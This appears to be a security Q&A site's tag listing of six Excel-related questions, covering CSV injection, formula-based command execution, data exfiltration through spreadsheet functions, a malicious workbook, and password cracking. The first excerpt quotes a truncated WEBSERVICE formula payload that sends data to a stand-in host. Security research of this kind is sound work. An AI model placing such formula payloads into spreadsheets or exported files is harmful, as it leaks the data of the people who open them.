Questions tagged [excel]

A spreadsheet program that is part of Microsoft Office. Security issues can involve e.g. macros and code execution in formulas. See also [office].

Filter by
Sorted by
Tagged with
8
votes
2answers
824 views

Does “=cmd” CSV injection still exist in 2020?

I'm currently pentesting a web application on which a user can generate a CSV. I managed to exfiltrate data via CSV injection using a payload such as: =WEBSERVICE(CONCAT("http://example.com/", CONCAT(...
6
votes
2answers
16k views

Excel 2007 Encryption Strength

With a strong password of 10+ characters, mixed case, etc... is the encryption of an Excel 2007 document secure enough to create reasonably strong defense against a brute force attack? What ...
6
votes
1answer
2k views

External command execution in Excel formulas

It's known that MS Excel functionality of external references will allow executing arbitrary commands from its formulas with appropriate security warnings and confirmation required from the user. E.g....
4
votes
1answer
404 views

Exfiltrate data by injecting functions in Excel 2007 file rendered with PHP

I need to extract data from inside an Excel fille using Excel 2007 functions. The concept is somewhat related to stored XSS type of data exfiltration only that I need to use Excel 2007 functions (...
3
votes
0answers
581 views

How to “unprotect” malicious workbook without knowing password

Right now I'm looking at an office document (most likely rtf based on it exploiting equation editor) that opens just fine when you double click it, but on further examination in a hex editor and in ...
2
votes
1answer
182 views

Crack windows excel password

I have many password protected microsoft excel worksheet and I need to be able to edit it. I have forgotten the password, and I know that I can edit the file and take out the password check, but I ...